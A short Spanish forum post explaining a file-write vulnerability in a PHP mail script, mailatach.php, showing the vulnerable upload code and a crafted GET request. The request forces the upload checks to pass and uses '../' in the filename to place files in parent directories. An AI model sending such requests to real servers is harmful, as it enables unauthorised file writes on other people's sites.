Hola, despues de encontrar donde estaba la vulnerabilidad, y dado que en securityfocus no dicen nada.
La información la encontré aquí:
http://p.ulh.as/xploitsdb/Other/5940.htmlEste es el segmento de código vulnerable
if (isset($userfile) AND $userfile != "none") {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
en este, podemos ver que:
if (isset($userfile) AND $userfile != "none") {
comprueba que exista un archivo del usuario.. sinembargo podemos meterlo con metodo GET, así.
mailatach.php?userfile=trueeso, mete un valor verdadero a userfile, lo que hace que pase la primera verificación.
despues, esta:
if (ini_get(file_uploads) AND $attachments == 1) {
este verifica que que haya attachments, lo que hacemos creer con:
mailatach.php?attachments=1despues, se define un directorio default.
$updir = "tmp";
y se mete el archivo en ese directorio.
@copy($userfile, "$updir/$userfile_name");
sinembargo, dado que tambien podemos modificar $userfile_name, y al meter /../ ordenamos que se suba un directorio..
podemos meter archivos en directorios superiores, siempre que tengamos permiso de escribir ahí.
la petición GET final quedaría:
userfile=[DESTINO]
&userfile_name=../attachments/[ARCHIVO_QUE_SUBISTE]
&attachments=1